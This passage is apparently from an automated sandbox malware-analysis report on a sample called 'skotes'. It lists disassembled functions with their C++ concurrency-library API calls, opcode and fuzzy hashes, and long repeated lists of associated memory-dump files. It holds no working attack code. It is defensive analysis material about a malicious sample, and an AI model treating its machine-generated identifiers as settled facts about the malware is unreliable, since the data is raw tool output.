Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 029f1a264f443657c66a94c97d227b6bb9dd31f3cb95617b79a62d2ddad37121
Instruction ID: 0e6fdbd3531096de96d6de7b7e4709f6ec06eb880c3ec9edf9726a522a9e3aab
Opcode Fuzzy Hash: 029f1a264f443657c66a94c97d227b6bb9dd31f3cb95617b79a62d2ddad37121
Instruction Fuzzy Hash: A641D030A062449BCF14EFA086557FD7BA96FD1324F1440A9E8966F2C3EB748E04C762

Function 009BE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 009BE7D7

Part of subcall function 009BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 009BE577
Part of subcall function 009BE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 009BE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009BE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 009BE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 009BE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 009BE879
Concurrency::location::_Assign.LIBCMT ref: 009BE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009BE8B5

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 547808313648c946ee076fa7dac37d6b98763373a8f6448df69d121ab2631cb2
Instruction ID: d179d05e30821a57a7a892ac47f9a34cdf831f3d452f25dfe47f7b2209486ec8
Opcode Fuzzy Hash: 547808313648c946ee076fa7dac37d6b98763373a8f6448df69d121ab2631cb2
Instruction Fuzzy Hash: 85411A75A002049FCF05EF64C595BEDB7B9FF88320F1581A9ED499B382DB70A941CB91

Function 009A6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009A6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 009A6F22
std::_Rethrow_future_exception.LIBCPMT ref: 009A6F32
__Mtx_unlock.LIBCPMT ref: 009A6FD5
__Mtx_unlock.LIBCPMT ref: 009A70DB
__Mtx_unlock.LIBCPMT ref: 009A7116

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 64db0f7c3c69f6e4d564e071a976a74d5650712a7e57170258035c4e25cf1bd1
Instruction ID: 90b756e3d4c0edda3b684df09864159552148394c3091e4f13c8c75347e1a171
Opcode Fuzzy Hash: 64db0f7c3c69f6e4d564e071a976a74d5650712a7e57170258035c4e25cf1bd1
Instruction Fuzzy Hash: 72C1C2B19043059FDF21DFA4C946BAEBBF8EF46310F04452DE81697692EB35A904CBE1

Function 009B44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 009B4538
ListArray.LIBCONCRT ref: 009B456C
Hash.LIBCMT ref: 009B45D5
Hash.LIBCMT ref: 009B45E5

Part of subcall function 009B9C41: std::bad_exception::bad_exception.LIBCMT ref: 009B9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 009B474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009B47A4

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 6f8ed9b68d33e80c9b0f9d05fdb7afed6937693cb1fd7c493df37d46e01c0620
Instruction ID: 3d13e6ef55116c821eef6c698fa964d408e8eb19739d51d4c286ce051d139fc8
Opcode Fuzzy Hash: 6f8ed9b68d33e80c9b0f9d05fdb7afed6937693cb1fd7c493df37d46e01c0620
Instruction Fuzzy Hash: BB816DB0A11B52BAD708DF74C981BD9FBA8BF49714F10421AF528D7281DBB4A524CBD1

Function 009AEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 009AEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 009AEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 009AEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 009AEF0F
Concurrency::Context::Block.LIBCONCRT ref: 009AEF31

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 14e07b82dfecca79a506316746739d7cd7d0102033b42f7288ea1c8173681464
Instruction ID: b28729692d7667c58174e6768103998158c14306a7889ad1cceb88abc5e38c0e
Opcode Fuzzy Hash: 14e07b82dfecca79a506316746739d7cd7d0102033b42f7288ea1c8173681464
Instruction Fuzzy Hash: 53216D70C1420A8EDF25EFA4C8557EEB7F4FF56320F21092AE161A61D1EB758A84CBD0

Function 009C1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 009C1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009C1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009C1C2A

Strings

pContext, xrefs: 009C1C22
switchState, xrefs: 009C1B5E

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
